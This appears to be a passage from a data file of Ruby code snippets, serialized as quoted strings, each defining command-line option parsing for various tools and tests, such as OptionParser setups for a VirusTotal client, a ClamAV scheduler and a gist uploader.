yield(argv))\n\t\t\t\t\t\traise OptionParser::InvalidArgument, \"Unknown argument.\"\n\t\t\t\t\tend\n\t\t\t\telse break\n\t\t\t\tend\n\t\t\tend\t\t\n\t\tend\n\t\traise OptionParser::InvalidArgument, \"No command specified.\" unless @command\n\t\tunless (self.class::COMMANDS.include?(@command) && self.respond_to?(@command))\n\t\t\traise OptionParser::InvalidArgument, \"Unknown command '#{@command}' specified.\"\n\t\tend\n\t\treturn argv\n\tend", "def parseOption()\n\toptions = {:dryrun => false, :auto => false, :debug => false, :worldcat => true, :rename => false}\n\tOptionParser.new do |opts|\n\t\topts.banner = \"shelfer.rb [options]\"\n\t\topts.version = \"0.1\"\n\n\t\topts.on(\"-fFILE\", \"File to shelf\") { |f| options[:file] = f }\n\t\topts.on(\"-n\", \"Dry-run\") { |n| options[:dryrun] = true }\n\t\topts.on(\"-a\", \"Auto\") { |n| options[:auto] = true }\n\t\topts.on(\"-d\", \"Debug\") { |n| options[:debug] = true }\n opts.on(\"-r\", \"--rename-only\", \"Rename only, no shelfing\") { |n| options[:rename] = true }\n\t\topts.on(\"-w\", \"--noworldcat\", \"Do not use WorldCat\") { |n| options[:worldcat] = false }\n\tend.parse!\n\toptions[:input] = ARGV\n\treturn options\nend", "def initialize(argv)\n op = option_parser\n op.parse!(argv)\n check_options\n end", "def parse_options()\n\n options = {}\n\n ARGV.each_index do |index|\n case $*[index]\n when '-m' then options[:auto_connect] = false\n when '-v' then options[:verbose] = true\n when '-q' then options[:verbose] = false\n when '-t' then options[:log_truncate] = true\n when '-r' then options[:log_response] = false\n else\n ::Twiga.say_warn \"unknown option: #{arg}\"\n end # case\n\n $*.delete_at(index) # remove from command line\n\n end # do each cmd line arg\n \n return Kinokero::Cloudprint::DEFAULT_OPTIONS.merge(options)\n\n end", "def init\n # Validate and parse the flags\n OptionParser.new do |o|\n o.on('-a ALIAS', '--alias ALIAS') { |a| $alias = a }\n o.on('-r RECIEVER', '--reciever RECIEVER') { |e| $email = e }\n o.on('-h', '--help') { usage }\n o.parse!\n end\nend", "def parse_cli!(arg_list)\n options = {}\n parser = OptionParser.new do |opts|\n VALUE_OPTIONS.each do |(short, long, message)|\n opts.on(\"-#{short} MANDATORY\", \"--#{long} MANDATORY\", message) do |val|\n options[long] = val\n end\n end\n\n FLAG_OPTIONS.each do |(short, long, message)|\n opts.on(\"-#{short}\", \"--#{long}\", message) do |val|\n options[long] = true\n end\n end\n\n opts.on(\"-F\", \"--format\", \"The format is always JSON. Deal with it.\") do\n options['format'] = 'j'\n end\n end\n\n parser.parse!(arg_list)\n options\n end", "def parse\n # Parse all arguments first\n option_parser.parse!(arguments)\n\n # Get the first argument, this is our command\n cmd = arguments.pop\n raise OptionParser::MissingArgument, 'command' unless cmd\n\n # Set the command if it's present\n options.command = cmd.to_sym\n end", "def parse_opts\n if parse_argv\n apply_options\n true\n end\n end", "def extract_option!\n case args[0]\n when /\\A-[^-]./\n bump_key!(args[0].slice!(1))\n when /\\A-[^-]\\z/\n try_add_kv!(args[0][1])\n when /\\A--(.+?)=(.+)/\n add_key!(*Regexp.last_match.values_at(1, 2))\n args.shift\n when /\\A--./\n try_add_kv!(args[0][2..-1])\n when '--'\n args.shift\n self.options += args\n self.args = []\n else\n options << args.shift\n end\n end", "def parse_options\n @cl_non_options = @cl_parser.parse(ARGV)\n end", "def parse_command_line\n prepend_environment_options\n options = options_with_defaults\n\n OptionParser.new do |parser|\n\n parser.on(\"-h\", \"--help\", \"Show help\") do |_help_requested|\n ARGV << 'h' # pass on the request to the command processor\n options.suppress_command_line_validation = true\n end\n\n parser.on('-i', '--input_dir DIR',\n \"Input directory containing source data files, default: '#{DEFAULT_INPUT_DIR}'\") do |v|\n options.input_dir = File.expand_path(v)\n end\n\n parser.on('-o', '--output_dir DIR',\n \"Output directory to which report files will be written, default: '#{DEFAULT_OUTPUT_DIR}'\") do |v|\n options.output_dir = File.expand_path(v)\n end\n\n parser.on('-r', '--receipt_dir DIR',\n \"Directory root from which to find receipt filespecs, default: '#{DEFAULT_RECEIPT_DIR}'\") do |v|\n options.receipt_dir = File.expand_path(v)\n end\n\n parser.on('-s', '--shell', 'Start interactive shell') do |v|\n options.interactive_mode = true\n end\n\n parser.on('-v', '--[no-]verbose', 'Verbose mode') do |v|\n options.verbose_mode = v\n end\n\n parser.on('-y', '--[no-]say', 'Say error messages.') do |v|\n options.say = v\n end\n\n parser.on('', '--[no-]receipts', 'Include report on existing and missing receipts.') do |v|\n options.do_receipts = v\n end\n end.parse!\n\n if options.verbose_mode\n puts \"Run Options:\"\n ap options.to_h\n end\n\n options\n end", "def test_parse02c\n options = ArgumentManager.parse( [ '--s-opt=foo' ] )\n assert_equal( 'foo', options[ 's-opt' ] )\n end", "def opt_parse # rubocop:disable Metrics/AbcSize\n case @options[:action]\n when 'create'\n build_looper('instances')\n when 'list'\n formatter(list)\n when 'delete'\n puts delete\n when 'get_ip'\n BmcAuthenticate.new(@options)\n attrcheck = { 'instance' => @options[:inst] }\n @validate.validate(@options, attrcheck)\n inst_details = AttrFinder.new(@instanceparameters)\n inst_details.options = @options\n inst_details.validate = @validate\n inst_ocid = inst_details.instance\n ips = list_instance_ip(@options[:compartment], inst_ocid)\n puts 'The private IP is ' + ips.at(0) + ' the public ip is ' + ips.at(1)\n when 'InstanceConsoleHistory'\n chist = InstanceConsoleHistory.new\n chist.options = @options\n chist.validate = @validate\n formatter(chist.list) \n else\n 'you have entered an incorrect value, correct values are get_ip, create, list, list_image, delete'\n end \n end", "def parse(argv)\n parser, options = parse_main(argv)\n\n # Options that are mutually-exclusive with everything else.\n options = {:help => true} if options[:help]\n options = {:version => true} if options[:version]\n\n validate_options!(options)\n\n @options = options\n @help_text = parser.to_s\n\n self\n end", "def cli_parse\n @command = nil\n\n cli @argv,\n \"-R --rules\" => lambda{ @command = :list },\n \"-H --help\" => lambda{ @command = :help },\n \"-a --auto\" => method(:watch=),\n \"-f --fresh\" => method(:fresh!),\n \"-s --script\" => method(:script=),\n \"-D --debug\" => method(:debug!)\n end", "def run_option_parser\n @run_option_parser ||= begin\n require 'optparse'\n OptionParser.new do |op|\n op.on('-x') { set :lock, true }\n op.on('-e env') { |val| set :environment, val.to_sym }\n op.on('-s server') { |val| set :server, val }\n op.on('-p port') { |val| set :port, val.to_i }\n end \n end\n end", "def parse_option(obj, opt, argv)\n x = opt.sub(/^--/, '')\n #if obj.respond_to?(\"#{x}=\")\n obj.send(\"#{x}=\", true)\n #else\n # obj.option_missing(x, true)\n #end\n end", "def parse\n opts = OptionParser.new(&method(:set_options))\n opts.parse!(@args)\n return login if @login\n puts opts.help\n end", "def parse_options(args)\n\t\t\t\tbegin\n\t\t\t\t\t@options['output'] = :stdout\n\t\t\t\t\t@options['verbose'] = false\n\t\t\t\t\t@options['rescan'] = false\n\t\t\t\t\t@options[:timeout] = 25\n\t\t\t\t\t@options[:directory] = nil\n\n\t\t\t\t\topts = OptionParser.new do |opt|\n\t\t\t\t\t\topt.banner = \"#{APP_NAME} v#{VERSION}\\nJacob Hammack\\n#{HOME_PAGE}\\n\\n\"\n\t\t\t\t\t\topt.banner << \"Usage: #{APP_NAME} <options>\"\n\t\t\t\t\t\topt.separator('')\n\t\t\t\t\t\topt.separator('File Options')\n\n\t\t\t\t\t\topt.on('-h HASH', '--search-hash HASH', 'Searches a single hash on virustotal.com') do |hash|\n\t\t\t\t\t\t\[email protected](hash)\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-r HASH[,HASH]', '--rescan-hash HASH[,HASH]', 'Requests a rescan of a single hash, or multiple hashes (comma separated), by virustotal.com') do |hash|\n\t\t\t\t\t\t\t@options['rescan'] = true\n\t\t\t\t\t\t\[email protected](hash)\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-f FILE', '--search-hash-file FILE', 'Searches each hash in a file of hashes on virustotal.com') do |file|\n\t\t\t\t\t\t\tif File.exists?(file)\n\t\t\t\t\t\t\t\tputs \"[+] Adding file #{file}\" if @options['verbose']\n\t\t\t\t\t\t\t\t@files_of_hashes.push(file)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tputs \"[!] #{file} does not exist, please check your input!\\n\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-u FILE', '--upload-file FILE', 'Uploads a file to virustotal.com for analysis') do |file|\n\t\t\t\t\t\t\tif File.exists?(file)\n\t\t\t\t\t\t\t\tputs \"[+] Adding file #{file}\" if @options['verbose']\n\t\t\t\t\t\t\t\[email protected](file)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tputs \"[!] #{file} does not exist, please check your input!\\n\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.separator('')\n\t\t\t\t\t\topt.separator(\"Url Options\")\n\n\t\t\t\t\t\topt.on('-s SITE', '--search-site SITE', 'Searches for a single url on virustotal.com') { |site|\n\t\t\t\t\t\t\[email protected](site)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\topt.separator('')\n\t\t\t\t\t\topt.separator('Output Options')\n\n\t\t\t\t\t\topt.on('-j', '--json-output', 'Print results as json to stdout') do\n\t\t\t\t\t\t\t@options['output'] = :json\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-x', '--xml-output', 'Print results as xml to stdout') do\n\t\t\t\t\t\t\t@options['output'] = :xml\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-y', '--yaml-output', 'Print results as yaml to stdout') do\n\t\t\t\t\t\t\t@options['output'] = :yaml\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('--stdout-output', 'Print results as normal text line to stdout, this is default') do\n\t\t\t\t\t\t\t@options['output'] = :stdout\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.separator ''\n\t\t\t\t\t\topt.separator 'Advanced Options'\n\n\t\t\t\t\t\topt.on('-c', '--create-config', 'Creates a skeleton config file to use') do\n\t\t\t\t\t\t\tcreate_config\n\t\t\t\t\t\t\texit\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-d DIRECTORY', '--directory', 'Scans a directory recursively for files and submits the hashes') do |directory|\n\t\t\t\t\t\t\t@options[:directory] = directory\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-p PROXY', '--proxy-server', 'Uses a specified proxy server') do |proxy|\n\t\t\t\t\t\t\t@options['proxy'] = proxy\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('--[no-]verbose', 'Print verbose information') do |v|\n\t\t\t\t\t\t\t@options['verbose'] = v\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.separator ''\n\t\t\t\t\t\topt.separator 'Other Options'\n\n\t\t\t\t\t\topt.on('-v', '--version', 'Shows application version information') do\n\t\t\t\t\t\t\tputs \"#{APP_NAME} - #{VERSION}\"\n\t\t\t\t\t\t\texit\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on_tail('-?', '--help', 'Show this message') { |help|\n\t\t\t\t\t\t\tputs opt.to_s + \"\\n\"\n\t\t\t\t\t\t\texit\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\n\t\t\t\t\tif ARGV.length != 0\n\t\t\t\t\t\topts.parse!\n\t\t\t\t\telse\n\t\t\t\t\t\tputs opts.to_s + \"\\n\"\n\t\t\t\t\t\texit\n\t\t\t\t\tend\n\t\t\t\trescue OptionParser::MissingArgument\n\t\t\t\t\tputs opts.to_s + \"\\n\"\n\t\t\t\t\texit\n\t\t\t\tend\n\t\t\tend", "def parse_command_line_options\n options = {}\n options[:config] = \"config/clamav.yml\" # default\n opts = OptionParser.new\n # define options\n opts.banner = \"Usage: clamav.rb [-c file] [-u] [-i time]\"\n opts.on('-c', '--config FILE',\n \"Specify config file other than default \",\n \"'config/clamav.yml' - use relative path\") do |file|\n options[:config] = file\n end\n opts.on('-i', '--install TIME', Time,\n \"Install LaunchAgent to run clamav.rb every\",\n \"day at specified time {eg: 2:30pm}\",\n \"Try using with --config FILE\",\n \"Requires RELOGIN\") do |time|\n options[:install] = time\n end\n opts.on('-u', '--uninstall', \"Uninstall LaunchAgent - requires RELOGIN\") do |time|\n options[:uninstall] = true\n end\n opts.on_tail(\"-h\", \"--help\", \"Show this message\") {puts opts; exit 0}\n opts.on_tail(\"-v\", \"--version\", \"Show version\") {puts \"clamav.rb 1.1.0\"; exit 0}\n # parse options\n opts.parse!(ARGV)\n options\nend", "def initialize argv\n @argv = argv.dup\n @options = {}\n while @argv[0] =~ /^-/\n option, value = @argv.shift.split(/[=:]/, 2)\n csv = (value =~ /,/ ? value.split(',') : Array(value))\n modes = csv.inject({}){|h,s| k, v = s.split(/=/, 2); h[k] = v || true; h }\n @options[option.sub(/^-*/,'')] = modes\n end\n end", "def parse\n opts = OptionParser.new(&method(:set_options))\n opts.parse!(@args)\n return process_url if url_present?\n opts.help\n end", "def parse!\n begin\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n @options\n rescue Exception => e\n raise e if e.is_a?(SystemExit)\n\n $stderr.puts e.message\n exit 1\n end\n exit 0\n end", "def parse_options(args)\n args.each do |arg|\n case arg\n when '-h', '--help' then @opts[:help] = true\n when '-un', '--user' then @opts[:user] = args.next(arg)\n when '-pw', '--pass' then @opts[:pass] = args.next(arg)\n when '-t', '--token' then @opts[:token] = args.next(arg)\n when '-g', '--get' then @opts[:get] = args.next(arg)\n when '-d', '--debug' then @opts[:debug] = true\n when '-r', '--random' then @opts[:get] = nil\n else next\n end\n end\n end", "def parse(args)\n @options = args\n end", "def parse\n # parse flag arguments\n @oparse.parse!(@argv) rescue(bail_args($!))\n @parsed=true\n\n # the overriding class may implement additional arguments from here\n end", "def parse\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n\n process_result\n\n @options\n end", "def option_parser\n options = {}\n option_parser = OptionParser.new do |opts|\n self.class.setup_accepts(opts,@accepts)\n self.class.setup_options(opts,@switches,options)\n self.class.setup_options(opts,@flags,options)\n end\n [option_parser,options]\n end", "def parse_command_line\n OptionParser.new do |opts|\n opts.banner = \"Usage: ruby #{$0} [options]\"\n\n opts.on_head(\"-h\", \"--help\", \"Show this help message\") do\n puts opts\n exit\n end\n\n opts.on(\"-v\", \"--verbose\", \"Show all progress messages (INFO, DEBUG, WARNING, ERROR)\") do\n Logger.verbose = true\n end\n\n opts.on(\"-q\", \"--quiet\", \"Only show WARNING and ERROR messages\") do\n Logger.quiet = true\n end\n\n opts.on(\"--console\", \"Open up a console to query the source via rbgccxml\") do\n @requesting_console = true\n end\n\n opts.on(\"--clean\", \"Force a complete clean and rebuild of this extension\") do\n @force_rebuild = true\n end\n\n end.parse!\n end", "def parse!(argv)\n options = {}\n parser = configure_base!(OptionParser.new)\n parser.parse!(argv, into: options)\n unless options.key?(:input)\n puts 'Missing --input argument, which is required.'\n Advent2019.show_help(parser)\n end\n options\n end", "def test_parse02a\n options = ArgumentManager.parse( [] )\n assert_equal( nil, options[ 's-opt' ] )\n end", "def parse_options\n @options = {}\n @optparse = OptionParser.new do |opts|\n opts.banner = \"Usage: moa-getfacl [options] <object-name> ...\\n\\n Object Store ACL Listing\\n\\n\"\n\n # @options[:numeric] = false\n # opts.on( '-n', 'Display user IDs numerically' ) do\n # @options[:numeric] = true\n # end\n\n opts.on( '-?', '--help', 'Display this screen' ) do\n puts opts\n exit 0\n end\n end\n\n @optparse.parse!\nend", "def parser\n create_option_parser if @parser.nil?\n @parser\n end", "def options_parser\n optparse = OptionParser.new do|opts|\n # Set a banner\n opts.banner = \"Usage: #{File.basename($0)} [options...]\"\n\n opts.on '-d', '--dir DIR',\n 'directory of yml files to process' do |dirname|\n @options[:dir] = dirname\n end\n\n opts.on '-f', '--file FILE',\n 'single file to process' do |filename|\n @options[:file] = filename\n end\n\n opts.on '--db DATABASE_NAME',\n 'sqlite3 database to push data to' do |dbname|\n @options[:db] = dbname\n end\n\n opts.on '-h', '--help' do\n @options[:help] = true\n end\n end\n optparse\nend", "def parse_argv()\n parser = GetoptLong .new()\n parser .set_options(*@config_table .getopt_table)\n begin\n parser .each_option do |name, arg|\n\tif name == '--help'\n\t usage()\n\t exit(0)\n\telse\n\t @macros[@config_table .macro_name(name)] = (arg == '' ? '1' : arg)\n\tend\n end\n rescue\n usage()\n exit(1)\n end\n return self\n end", "def parse_command_line_args(args)\n opts = OptionParser.new do |opts|\n opts.banner = 'Usage: tbibtools [OPTIONS] [FILES] < IN > OUT'\n opts.separator ''\n opts.separator 'tbibtools is a free software with ABSOLUTELY NO WARRANTY under'\n opts.separator 'the terms of the GNU General Public License version 2 or newer.'\n opts.separator ''\n \n opts.on('-c', '--config=FILE', String, 'Configuration file') do |value|\n @configuration.config value\n end\n\n opts.on('-e', '--regexp=REGEXP', String, 'Display entries matching the regexp') do |value|\n @configuration.filter Regexp.new(value)\n end\n\n opts.on('-f', '--format=STRING', String, 'Re-format entries (order matters)') do |value|\n @configuration.format *value.split(/,/)\n end\n\n opts.on('--[no-]formatted', 'Unformatted output') do |bool|\n unless bool\n @configuration.entry_format = []\n @configuration.entry_format_default = []\n end\n end\n\n opts.on('-i', '--[no-]case-sensitive', 'Case insensitive') do |bool|\n @configuration.sort_case bool\n end\n \n opts.on('-l', '--format-list=[STRING]', String, 'Format string for list (implies --ls)') do |value|\n @configuration.shortcut_ls\n @configuration.list_format value if value\n end\n\n opts.on('--ls', 'Synonym for: -f list,stripPrelude (\"list\" implies \"unwrap\")') do |bool|\n @configuration.shortcut_ls if bool\n end\n\n opts.on('-o', '--output=FILE', String, 'Output file') do |value|\n @configuration.output value\n end\n\n opts.on('-P', '--strip-prelude', 'Strip the prelude: same as -f stripPrelude but helps to maintain the original formatting') do |bool|\n @configuration.strip_prelude\n end\n\n opts.on('-q', '--query=FIELD=REGEXP', String, 'Show entries for which field matches the regexp') do |value|\n field, rx = value.split(/=/, 2)\n @configuration.query field => Regexp.new(rx, Regexp::IGNORECASE)\n end\n\n opts.on('-s', '--sort=STRING', String, 'Sort (default: sort by key; key = _id, type = _type)') do |value|\n @configuration.sort_key value\n end\n\n opts.on('-S', '--[no-]expand-strings', 'Replace/expand strings') do |bool|\n @configuration.expand_strings bool\n end\n\n opts.on('--strip=FIELDS', String, 'Ignore/strip fields') do |value|\n @configuration.strip value.split(/,/)\n end\n\n opts.on('-u', '--unsorted', 'Unsorted output') do |bool|\n @configuration.sort_key nil\n end\n\n opts.separator ''\n opts.separator 'Other Options:'\n \n opts.on('--debug', Integer, 'Show debug messages') do |v|\n $DEBUG = true\n $VERBOSE = true\n end\n \n opts.on('-v', '--verbose', 'Run verbosely') do |v|\n $VERBOSE = true\n end\n \n opts.on('-h', '--help', 'Show this message') do\n puts opts\n exit 1\n end\n\n opts.separator ''\n opts.separator 'Available formats:'\n format_rx = /^(format|preprocess|head|body|tail)_/\n format_names = (['nnIsYear', 'sortCrossref', 'downcaseType', 'upcaseType'] + \n @configuration.methods.find_all{|m| m =~ format_rx}.collect{|m| m.sub(format_rx, '')}).uniq.sort.join(', ')\n opts.separator format_names\n\n opts.separator ''\n opts.separator 'Known format shortcuts:'\n acc = []\n @configuration.methods.find_all{|m| m =~ /^shortcut_/}.sort.each do |meth|\n fn = meth.sub(/^shortcut_/, '')\n fs = @configuration.send(meth, acc)\n opts.separator \"#{fn}: #{fs.join(',')}\"\n end\n end\n @configuration.input *opts.parse!(args)\n self\n end", "def parse_options\n options = {}\n case ARGV[1]\n when '-e'\n options[:e] = ARGV[2]\n when '-d'\n options[:d] = ARGV[2]\n end\n options\nend", "def parse_args\n\t\t@args = @args_a.each_slice(2).to_a.inject({}) { |h, k| h[k[0]] = k[1]; h }\n\t\tkeys = @skeys + @lkeys\n\t\[email protected] do |k, v|\n\t\t\tif !keys.include?(k)\n\t\t\t\tputs \"Unknown option `#{k}'\"\n\t\t\t\texit\n\t\t\tend\n\n\t\t\tif keys.include?(v)\n\t\t\t\tputs \"Missing values for `#{k}' and `#{v}'\"\n\t\t\t\texit\n\t\t\tend\n\n\t\t\tif v != nil\n\t\t\t\tif v.start_with?('-')\n\t\t\t\t\tputs \"Warning: Value of `#{k}' appears to be a flag\"\n\t\t\t\tend\n\n\t\t\t\tif @static.has_key?(k)\n\t\t\t\t\tif !@static[k].include?(v)\n\t\t\t\t\t\tputs \"Unknown option `#{v}' for `#{k}'\"\n\t\t\t\t\t\texit\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\tif remove_keys(@no_vals).has_blank?\n\t\t\tputs \"Missing argument(s)\"\n\t\t\texit\n\t\tend\t\t\t\n\tend", "def parse_options!(args)\n option_parser.parse!(args)\n\n if args.empty?\n abort(\"You must give exactly one command to execute.\")\n else\n @options.command = args.join(\" \")\n end\n end", "def parse_options(argv=ARGV)\n argv = argv.dup\n argv = guess_and_switchify_arguments(argv)\n @opt_parser = OptionParser.new do |opts| \n # Set the banner\n opts.banner = banner \n \n # Create new options\n options_arguments.each do |opt_key, opt_val| \n opt_args = build_option_arguments(opt_val)\n \n opt_method = case opt_val[:on]\n when :on\n :on\n when :tail\n :on_tail\n when :head\n :on_head\n else\n raise ArgumentError, \"You must pass :on, :tail, or :head to :on\"\n end\n\n parse_block = \\\n Proc.new() do |*c|\n if c.empty? || c == [nil]\n c = true\n config[opt_key] = (opt_val[:proc] && opt_val[:proc].call(c)) || c\n else\n c = c.first\n config[opt_key] = (opt_val[:proc] && opt_val[:proc].call(c)) || c\n end\n puts filter_options_summary(opts.to_s) if opt_val[:show_options]\n exit opt_val[:exit] if opt_val[:exit]\n end\n\n # opts.send(:on, *[opt_method,*opt_args, parse_block])\n opt_args.unshift opt_method\n opt_args << parse_block\n opts.send(*opt_args)\n end\n end\n\n @opt_parser.summary_indent = @summary_indent if @summary_indent\n @opt_parser.summary_width = @summary_width if @summary_width\n\n @opt_parser.parse!(argv)\n @filtered_argv = argv\n\n # Deal with any required values\n fail = nil\n options_arguments.each do |opt_key, opt_value|\n next unless config[opt_key]\n # next if config[opt_key] == opt_value[:default]\n\n reqargs = []\n case opt_value[:requires]\n when nil\n when Proc\n begin\n result = opt_value[:requires].call(config)\n rescue \n reqargs << $!.message\n end\n reqargs << result if result.class == String\n when Array,Symbol\n required_opts = [opt_value[:requires]].flatten\n required_opts.each do |required_opt|\n reqargs << required_opt.to_sym unless config[required_opt.to_sym]\n end\n\n reqargs.map! do |opt|\n arg = (options_arguments[opt][:long_strip] || options_arguments[opt][:short_strip]).dup\n arg.gsub!(/^-+/,\"\") if arguments.keys.include?(opt)\n arg\n end\n end\n unless reqargs.empty?\n fail = true\n opt = (opt_value[:long_strip] || opt_value[:short_strip]).dup\n opt.gsub!(/^-+/,\"\") if arguments.keys.include?(opt_key)\n puts \"You must supply #{reqargs.join(\", \")} with #{opt}!\"\n end\n\n end\n if fail\n puts filter_options_summary(@opt_parser.to_s)\n exit 2\n end\n\n argv\n end", "def test_parse04c\n options = ArgumentManager.parse( [ '--u-opt', 'foo' ] )\n assert_equal( 'foo', options[ 'u-opt' ] )\n end", "def parse_options\n @opt_parser = OptionParser.new do |opts|\n opts.banner = \"\"\n\n opts.separator \"patchkit-tools #{@program_name}\"\n\n opts.separator \"\"\n\n opts.separator \"Description:\"\n\n opts.separator opts.summary_indent + @program_description\n\n opts.separator \"\"\n\n opts.separator \"Usage:\"\n\n @program_usages.each do |program_usage|\n opts.separator opts.summary_indent + \"patchkit-tools #{@program_name} #{program_usage}\"\n end\n\n opts.separator opts.summary_indent + \"patchkit-tools #{@program_name} --help\"\n\n opts.separator \"\"\n\n end\n\n yield @opt_parser\n\n @opt_parser.separator \"\"\n\n @opt_parser.separator \"Common\"\n\n unless @opts_defined.include? :host\n option('host', value: true, required: false, description: 'Hostname (format: patchkit.net)')\n end\n\n unless @opts_defined.include? :https\n option('https', value: true, required: false, description: 'Use HTTPS (false)')\n end\n\n @opt_parser.on(\"-h\", \"--help\", \"outputs a usage message and exit\") do\n puts @opt_parser\n exit\n end\n\n @opt_parser.separator \"\"\n\n @opt_parser.parse!(ARGV)\n\n @opts_required.each do |opt|\n raise CommandLineError, \"Missing required option --#{opt}\" unless @opts_used.include? opt\n end\n end", "def parsed_args\n args = Options.new('binnacle - Simple Test and Infra automation Framework')\n args.verbose = 0\n args.runner = false\n args.result_json = ''\n\n opt_parser = OptionParser.new do |opts|\n opts.banner = 'Usage: binnacle [options] <testfile>'\n\n opts.on('-w', '--wide', 'Do not crop the task line') { args.wide = true }\n opts.on('-v', '--verbose', 'Verbose output') { args.verbose += 1 }\n opts.on('-r', '--runner', 'Run the tasks from a file (Internal use only)') { args.runner = true }\n opts.on('--results-json=FILE', 'Results JSON file') do |json_file|\n args.result_json = json_file\n end\n\n opts.on('-h', '--help', 'Prints this help') do\n puts opts\n exit\n end\n\n opts.on('--version', 'Show Version information') do\n puts \"Binnacle #{Binnacle::VERSION}\"\n exit\n end\n end\n\n opt_parser.parse!(ARGV)\n\n if ARGV.empty?\n warn 'Task file is not specified'\n exit EXIT_INVALID_ARGS\n end\n\n args.task_files = ARGV\n args\nend", "def test_parse03a\n ArgumentManager.add_option( [ 't-opt' ], :type => :string )\n \n options = ArgumentManager.parse( [] )\n assert_equal( nil, options[ 't-opt' ] )\n end", "def parse_options( argv = ARGV )\n oparser = OptionParser.new do | o |\n o.separator 'Input Options:'\n \n o.on( '-i', '--input \"text to process\"', doc( <<-END ) ) { |val| @input = val }\n | a string to use as direct input to the recognizer\n END\n \n o.on( '-I', '--interactive', doc( <<-END ) ) { @interactive = true }\n | run an interactive session with the recognizer\n END\n end\n \n setup_options( oparser )\n return oparser.parse( argv )\n end", "def parse_args\n options = {}\n optparse = OptionParser.new do|opts|\n # Set a banner\n opts.banner = \"Usage: harness.rb [-c || --config ] FILE [-d || --testdir] DIR\"\n\n options[:testdir] = nil\n opts.on( '-d', '--testdir DIR', 'Execute tests in DIR' ) do|dir|\n options[:testdir] = dir\n end\n options[:config] = nil\n opts.on( '-c', '--config FILE', 'Use configuration FILE' ) do|file|\n options[:config] = file\n end\n\n opts.on( '-h', '--help', 'Display this screen' ) do\n puts opts\n exit\n end\n end\n optparse.parse!\n return options\nend", "def parse_command_line(args)\n all_opts = OptionParser.new do |opts|\n opts.banner = \"Usage: #{PROGRAM_NAME} [OPTIONS] PASSWORD\"\n opts.separator ''\n\n opts.on(\n '-t',\n '--load-timeout [TIMEOUT_SECONDS]',\n Integer,\n 'Timeout in seconds to wait for',\n 'gitlab-rails console to load',\n 'and process the change.',\n \"Defaults to #{DEFAULT_LOAD_TIMEOUT} seconds.\"\n ) do |timeout|\n @options.load_timeout = timeout\n end\n\n opts.on(\n '-v',\n '--verbose',\n 'Print out debug info when processing.'\n ) do\n @options.debug = true\n end\n\n opts.on(\n '-h',\n '--help',\n 'Help Message'\n ) do\n puts opts\n @options.help_requested = true\n end\n end\n\n all_opts.parse!(args)\n\n unless @options.help_requested\n fail('ERROR: You must specify the password to set') if (ARGV.length < 1)\n\n @options.password = ARGV[0]\n fail('ERROR: Password cannot be empty') if @options.password.strip.empty?\n end\n end", "def options args = ARGV, *a, &b\n @p = Parser.new(*a, &b)\n begin\n vals = @p.parse args\n args.clear\n @p.leftovers.each { |l| args << l }\n vals\n rescue CommandlineError => e\n $stderr.puts \"Error: #{e.message}.\"\n $stderr.puts \"Try --help for help.\"\n exit(-1)\n rescue HelpNeeded\n @p.educate\n exit\n rescue VersionNeeded\n puts @p.version\n exit\n end\n end", "def parse_args\n @args.extend OptionParser::Arguable\n opts = @args.getopts('cdDi:lm:n:o:s:St:uvVz')\n @nsocks = opts['s'] ? opts['s'].to_i : 1\n @max_idle = opts['i'] ? opts['i'].to_i : DEFAULT_MAX_IDLE\n @max_use = opts['m'] ? opts['m'].to_i : DEFAULT_MAX_USE\n $VERBOSE = true if opts['v']\n end", "def option_parser()\n @option_parser ||= OptionParser.new do |opts|\n opts.banner = \"Usage: gist [options] [filename or stdin] [filename] ...\\n\" +\n \"Filename '-' forces gist to read from stdin.\"\n\n opts.separator ''\n opts.separator \"Posting Options:\"\n\n opts.on('-a', '--api-url URL', 'API URL to connect to') { |url| options.gist_api_url = url }\n opts.on('-p', '--[no-]private', 'Make the gist private') { |priv| options.private_gist = priv }\n t_desc = 'Set syntax highlighting of the Gist by file extension'\n opts.on('-t', '--type [EXTENSION]', t_desc) { |extension| options.gist_extension = '.' + extension }\n opts.on('-d','--description DESCRIPTION', 'Set description of the new gist') { |d| options.description = d }\n opts.on('-o','--[no-]open', 'Open gist in browser') { |o| options.browse_enabled = o }\n opts.on('-e', '--embed', 'Print javascript embed code') { |o| options.embed_enabled = o }\n\n opts.separator ''\n opts.separator \"Configuration Options:\"\n\n opts.on('-s', '--setup-credentials', 'Setup API Provider credentials') do\n raise OptionParser::InvalidOption, 'Cannot setup credentials without a TTY' unless $stdin.tty?\n options.setup_credentials = true\n end\n opts.on('', '--add-provider URL', 'Adds an API Provider URL') do |url|\n raise OptionParser::InvalidOption, 'Cannot add a provider without a TTY' unless $stdin.tty?\n raise OptionParser::InvalidOption, \"Bad Provider API URL\" unless URI::DEFAULT_PARSER.regexp[:ABS_URI] =~ url\n add_provider_url(url)\n exit 0\n end\n opts.on('', '--set-default-provider [URL]', 'Sets the default API Provider URL') do |url|\n raise OptionParser::InvalidOption, 'Cannot set default provider without a TTY' unless $stdin.tty?\n set_default_provider(url)\n exit 0\n end\n\n opts.separator ''\n opts.separator \"General Options:\"\n opts.on('-D', '--debug', 'Debug enabled') { options.debug = true }\n opts.on('-m', '--man', 'Print manual') { Gist::Manpage.display(\"gist\") }\n opts.on('-v', '--version', 'Print version') 